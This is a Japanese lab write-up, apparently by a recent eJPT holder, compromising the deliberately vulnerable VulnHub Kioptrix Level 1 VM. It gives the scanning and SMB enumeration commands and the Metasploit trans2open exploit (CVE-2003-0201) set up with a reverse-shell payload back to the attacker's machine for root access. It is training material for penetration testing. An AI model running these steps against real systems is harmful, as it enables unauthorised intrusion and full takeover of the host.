先日eJPTを取得したため自分の環境でも脆弱な環境を構築してeJPTの振り返りをするとともにペネトレーションテストの練習を実施してみたいと思いました。今回はVulnHubのKioptrix: Level 1を活用して脆弱な環境を作りました。せっかくなのでeJPTを受験した時のコツも含めながら演習を行って振返っていきたいと思います。ターゲットホストに対して脆弱性を突いて外部から侵入することができれば今回のペネトレーションテストは成功とします。
脆弱な環境
脆弱な環境として、VulnHubのKioptrix: Level 1(ターゲットホスト)を利用します。また自宅に設置している、Linuxサーバ上にVirtualBoxを導入して、VirtualBox上にKailとターゲットホストをデプロイします。なおターゲットホストは外部との通信ができないようにホストオンリーアダプターを利用しております。Kailにもホストオンリーアダプターを設置することで、クローズな環境でペネトレーションテストを実施します。
Kioptrix: Level 1:https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
偵察
まずはネットワークからターゲットホストを調査します。ここではnmapでネットワーク全体をスキャンします。対象ネットワークが192.168.56.0/24であることは既に知っている前提としてペネトレーションテストを実施していきます。
nmap 192.168.56.0/24

今回のネットワークにターゲットホストが1台しかないので、検出される台数は少ないです。なお私の環境を示す部分はマスクしております。結果からわかる通り、今回のターゲットホストは192.168.56.7になります。nmapの調査結果からターゲットホスト上では22/tcp、80/tcp、111/tcp、139/tcp、443/tcp、32768/tcpがオープポートとして開いていることがわかりました。次に侵入を図るためターゲットホストに対してより詳細の情報を列挙していくフェーズに移ります。
列挙
偵察フェーズにおいて、ターゲットホストがわかりました。これからターゲットホスト上で起動しているサービスを基に脆弱な部分がないかどうかを列挙していきます。なお今回はターゲットホストしかいない簡易ネットワークなので対象が絞られていますが、複数台のホストがネットワーク上に存在する場合、列挙のフェーズの稼働がかなりかかることが想定されます。複数台のホストの中で堅牢に守られているホストもいますので、調査によって脆弱なホストに辿り着くまでの時間がかかる可能性も高くなることを気を付ける必要があります。複数台のホストが存在する場合、一台ごとに列挙した内容をメモなどで整理しながらペネトレーションテストを行うことが重要となります。eJPTにおいてもこの観点は非常に大事になります。
本題に戻って今回のターゲットホストに対しての列挙フェーズに移ります。早速ターゲットホストに対してnmapのスクリプトエンジン(NSE)を利用して詳細な情報を列挙します。ここでは-pのオプションでオープンポートのみに絞ったスクリプトエンジンの実施を行います。スクリプトエンジンの実行には時間がかかるため、不要なポートへの実行はないようにして時間の節約を行います。これはeJPTの試験においても同様で制限時間内で実施するためのコツとなります。
nmap -p22,80,111,139,443,32768 -sC -sV 192.168.56.7

eJPTではよくwebサービス(80、443)やファイル共有サービス(139)、リモート接続サービス(22)に対する脆弱な列挙を行っていきます。今回もそれに準じて調査を進めていきたいと思います。
列挙(ファイル共有サービス)
まずはファイル共有サービスの列挙を行っていきます。最初はシンプルにファイル共有サービスに匿名アカウントでログインができるかを確認してみます。
smbclient -L //192.168.56.7

匿名ユーザで接続ができました。ユーザの列挙ができるか次はrpcclientで接続を行いユーザ情報などを列挙してみます。smbclientでログインができたので、rpcclientも匿名ユーザーでログインします。
rpcclient -U "" -N 192.168.56.7
enumdomusers
enumdomgourps

匿名ユーザーではやはり権限がないのか、ユーザ情報やグループ情報の表示に制限があります。ユーザ情報を把握しておきたいので、enum4linuxコマンドを使ってユーザ情報が取れるか実施してみます。本来はsmbclientなどを打たずともenum4linuxコマンドで見れるかと思いますが、eJPTではsmbclientやrpcclientを使った列挙が多かったので実施してみてます。”Local User”がいるかどうかを検索してみます。enum4linuxの結果は行数が多くなるので、grepを使って情報を絞ってます。
enum4linux 192.168.56.7 -a | grep "Local User"

”Local User”は複数見えてますが、サービス名で使われていそうなものが多数ありそうです。侵入用に使えそうなユーザとしてはroot、operator、ftpが使えそうな推察をします。深追いは沼にハマる可能性もあるので、いったんファイル共有サービス関連の列挙はここで止めたいと思います。
ここまでで列挙できたことは以下になります。
- ファイル共有サービスに匿名ユーザーでログインできるが、十分な権限がなさそう
- ターゲットホスト上で侵入用に使えそうなユーザはroot、operator、ftpっぽそう。
※他は一般的なサービスとして利用されているように推察できそう
列挙(リモート接続サービス)
次にリモート接続サービスの列挙を行っていきます。sshが動いている22番ポートの調査を行っていきます。sshで利用されている認証方式を確認してみます。
nmap -p 22 --script ssh-auth-methods 192.168.56.7

ターゲットホスト上では”publickey”なので公開鍵認証および、”password”なのでパスワード認証ができることを意味しています。よって、侵入フェーズにおいて、ユーザリストやパスワードリストを持っていればリスト攻撃をすることができます。なお認証(ファイル共有サービス)にて、ユーザリストを収集できたので、一般的なユーザリストではなくターゲットホストに合ったユーザリストを作成することで時間短縮も見込めます。
次にsshで利用しているアルゴリズムを調べてみます。
nmap -p 22 --sV --version-all 192.168.56.7

ターゲットホストではOpenSSH 2.9p2 (protocol 1.99)が動作していることがわかります。OpenSSH 2.9p2は2001年にリリースされたかなり古いバージョンになります。
OpenSSH 2.9p2は2001年にリリース :
古いバージョンのプロトコルを利用している場合は脆弱が付きまとうものなので、kaliでデータベースから当該バージョンで脆弱なコードなどがないか調査をしてみます。
searchsploit openssh 2.9p2

やはり古いバージョンを利用しているので複数のExploitコードが存在しております。主に7.7以下のバージョンを利用している場合に多くの脆弱性があるように見えます。ちなみに現在の最新のOpenSSHバージョンは10.5になります。リモート接続サービスに関する列挙はいったんここまでにしておきたいと思います。
ここまでで分かったことを簡単にまとめると以下になります。
- ファイル共有サービスに匿名ユーザーでログインできるが、十分な権限がなさそう
- ターゲットホスト上で侵入用に使えそうなユーザはroot、operator、ftpっぽそう。
※他は一般的なサービスとして利用されているように推察できそう - リモート接続サービスではOpenSSH 2.9p2と古いバージョンを利用しており、複数の脆弱性も持っている。
- sshでは公開鍵認証およびパスワード認証があるので、ユーザ/パスワードリストがあれば、リスト攻撃ができるかもしれない
列挙(webサービス)
ターゲットホスト上ではwebサービスが動いていますので、まずはwebサーバの脆弱性があるかどうかをniktoコマンドを使って調査します。
nikto -h http://192.168.56.7/

たくさん脆弱な情報が出てきたので、いったん脆弱性の有無だけを絞ってみていきたいと思います。niktoコマンドからCVEが含まれる内容を抽出します。
nikto -h http://192.168.56.7/ | grep CVE

結果を見るとCVE-2003-1418、CVE-2006-3918、CVE-2001-0035を持っていることがわかりました。CVE-2003-1418を簡単に調べたところ、Etagヘッダー情報や子プロセスIDの情報を窃取することができる脆弱性でした。直接的に外部からの侵入ができる脆弱性ではなさそうでした。
CVE-2003-1418:https://access.redhat.com/security/cve/cve-2003-1418
次にCVE-2006-3918を調べてみると、クロスサイトスクリプティング(XSS)として紹介されています。XSSなので、ターゲットホストに対する侵入をするための脆弱性ではなさそうでした
CVE-2006-3918:https://jvndb.jvn.jp/ja/contents/2006/JVNDB-2006-000441.html
次にCVE-2001-0035を調べてみると、KTH Kerberos IVの脆弱性を突いてバッファオーバーフローで任意のコードを実行できる脆弱性でした。リバースシェルができそうな感じがしますが、そもそもKerberosが動いていないと使えない脆弱性です。偵察のフェーズでオープンポートをみたときにKerberosで利用される88番ポートは利用されていなさそうなので、本脆弱性は侵入のためのツールとしては使えなさそうです。
CVE-2001-0035:https://www.cve.org/CVERecord?id=CVE-2001-0035
次にDirbコマンドでアクセスできるURLがないかどうかを確認します。DirbコマンドはよくあるURLパスのリストからターゲットホスト上でアクセスできるURLを抽出します。

manual、mrtg、usageというURLパスが見つかりましたので、アクセスしてみます。まずはターゲットホストのトップページです。

特に気になる部分はありませんでした。続けてDirbコマンドで見えた各URLにアクセスしてみます。



manualのURLについては、少し掘り下げてもよさそうな気がしますが、一つ一つのフォルダを探していくと時間がかかりそうなので、webサービスに関する調査はいったんここまでにしたいと思います。
ここまでで分かったことを簡単にまとめると以下になります。
- ファイル共有サービスに匿名ユーザーでログインできるが、十分な権限がなさそう
- ターゲットホスト上で侵入用に使えそうなユーザはroot、operator、ftpっぽそう。
※他は一般的なサービスとして利用されているように推察できそう - リモート接続サービスではOpenSSH 2.9p2と古いバージョンを利用しており、複数の脆弱性も持っている。
- sshでは公開鍵認証およびパスワード認証があるので、ユーザ/パスワードリストがあれば、リスト攻撃ができるかもしれない
- webサービスでいくつかの脆弱性は見つけることができたが、直接侵入ができそうな脆弱性はなさそうでした。
- Webサービスにおいて、ターゲットホスト上のmanualのURLについては、掘り下げて調査をすれば何かわかるかもしれないが時間がかかりそう
ここまで主要なサービスを調べてみましたが、直接侵入ができそうな脆弱性について見つけることができませんでした。少しこれまでの調査を振り返ってみました。ファイル共有サービスの中で「Reconnecting with SMB1 for workgroup listing.」と記載されていることを思い出しました。これはSMB 1.0で接続していることを表しています。改めてファイル共有サービスについて調べてみます。
偵察(ファイル共有サービス 追加調査)
前章で述べたように決定的な脆弱性を見つけることができませんでした。改めてファイル共有サービスについて調べてみます。ファイル共有サービスのバージョンをmetasploitを使って調べてみます。
msf asuxiliry(scanner/smb/smb_version) > set RHOSTS 192.168.56.7
msf asuxiliry(scanner/smb/smb_version) > set verbose true
msf asuxiliry(scanner/smb/smb_version) > run

結果からターゲットホスト上で動作しているファイル共有サービスはSamba 2.2.1aであることがわかりました。Kaliやmetasploitで当該バージョンの脆弱性を調べてみます。まずはKailでsearchexploitを使って調べます。
searchexploit Samba 2.2.1a

一行目にtrans2openという名前の脆弱性でmetasploitにもありそうな感じです。念のためNVDから当該バージョンの脆弱性があるかどうかを調べてみるとtrans2.c関数を使ったバッファローの脆弱性を使って侵入ができそうです。この脆弱性はCVE-2003-0201として採番されているもののようです。
ここまでで分かったことを簡単にまとめると以下になります。
- ファイル共有サービスに匿名ユーザーでログインできるが、十分な権限がなさそう
- ターゲットホスト上で侵入用に使えそうなユーザはroot、operator、ftpっぽそう。
※他は一般的なサービスとして利用されているように推察できそう - リモート接続サービスではOpenSSH 2.9p2と古いバージョンを利用しており、複数の脆弱性も持っている。
- sshでは公開鍵認証およびパスワード認証があるので、ユーザ/パスワードリストがあれば、リスト攻撃ができるかもしれない
- webサービスでいくつかの脆弱性は見つけることができたが、直接侵入ができそうな脆弱性はなさそうでした。
- Webサービスにおいて、ターゲットホスト上のmanualのURLについては、掘り下げて調査をすれば何かわかるかもしれないが時間がかかりそう
- ファイル共有サービスを調べなおしてみるとSamba 2.2.1aが動作していることがわかり、trans2.c関数を狙ったExploitコードが用意されていそうです(CVE-2003-0201)。
最後に判明したCVE-2003-0201を使って侵入フェーズに移りたいと思います。これで偵察フェーズはいったん終了とします。
侵入(CVE-2003-0201:trans2.c関数のバッファロー)
偵察フェーズでCVE-2003-0201の脆弱性を使って侵入ができそうなことがわかりました。実際にターゲットホストに対してmetasploitを使って侵入を試みます。まずはmetasploit上にtrans2.c関数の脆弱性があるかどうかを確認します。
msf > search trans2

exploitのツールが複数発見しました。名前を見てみるとターゲットホストのOSごとに分かれているように見えます。今回はLinuxであることがわかっているので、1番のLinux版のExploitコードを利用します。実際に実行をしてみましたが、うまく侵入までいたることができませんでした。

ペイロードがターゲットホストにあってない可能性があります。今回のターゲットホストに合うようにペイロードを何個か試してみます。
set RHOSTS 192.168.56.7
set RPORT 139
set PAYLOAD linux/x86/shell_reverse_tcp
set LHOST 192.168.56.6
set LPORT 4444
run

これで脆弱性を突いて侵入することができました。ターゲットホストのシェルを取ることができました。シェルを取得後にwhoamiやhostnameのコマンドを確認し、ターゲットホストでroot権限を取ることができました。
まとめ
今回は、VulnHub の「Kioptrix: Level 1」を利用して、eJPTで学んだペネトレーションテストの流れを振り返りながら、実際にターゲットホストへの侵入を試してみました。
今回実施した流れを簡単にまとめると、以下のようになります。
- Nmapを使用してネットワーク上のターゲットホストを特定
- オープンポートやサービスを確認し、詳細な列挙を実施
- SMB、SSH、Webサービスをそれぞれ調査
- 古いバージョンや脆弱性の可能性を確認
- すぐに侵入できる脆弱性が見つからなかったため、調査結果を振り返り
- SMB1を利用していることに着目し、Sambaのバージョンを追加調査
- Samba 2.2.1aとCVE-2003-0201の存在を確認
- Metasploitを利用して脆弱性を悪用し、ターゲットホストへの侵入に成功
- 最終的にターゲットホスト上でroot権限のシェルを取得
今回特に感じたのは、ペネトレーションテストでは、最初から「使える脆弱性」が見つかるとは限らないということです。また列挙のフェーズでは自分で何を調べたかをメモしながら進めることが非常に重要です。調査する量を多いので自分がどこまで調査したかを覚えておき振り返りながら作業を進めることが大切です。
SSHやWebサービスを調査した際にも古いバージョンや脆弱性はいくつか見つかりました。しかし、それらが必ずしも今回の目的である「ターゲットホストへの侵入」に直接つながるわけではありませんでした。
そこで、一度これまでの調査結果を振り返り、SMBサービスの通信にSMB1が利用されていたことに着目しました。追加でSambaのバージョンを調査したことで、最終的に侵入につながるCVE-2003-0201を発見することができました。
このように、ペネトレーションテストでは、ツールの結果をただ確認するだけではなく、得られた情報を整理し、どこを追加で深掘りするべきかを考えることが重要だと改めて感じました。
また、eJPTの試験でも、限られた時間の中で複数のホストやサービスを調査する必要があります。そのため、今回のように「調査した内容」「気になった情報」「後から確認するポイント」を整理しながら進めることが、効率的な調査につながると感じます。
今回は無事にターゲットホストへの侵入とroot権限の取得まで成功しましたが、ペネトレーションテストの学習では、実際に自分で偵察・列挙・脆弱性調査・侵入まで一連の流れを経験することが非常に勉強になります。
今後も、eJPTで学んだ内容を実際の脆弱な環境で試しながら、ペネトレーションテストの手順や考え方について振り返っていきたいと思います。

コメント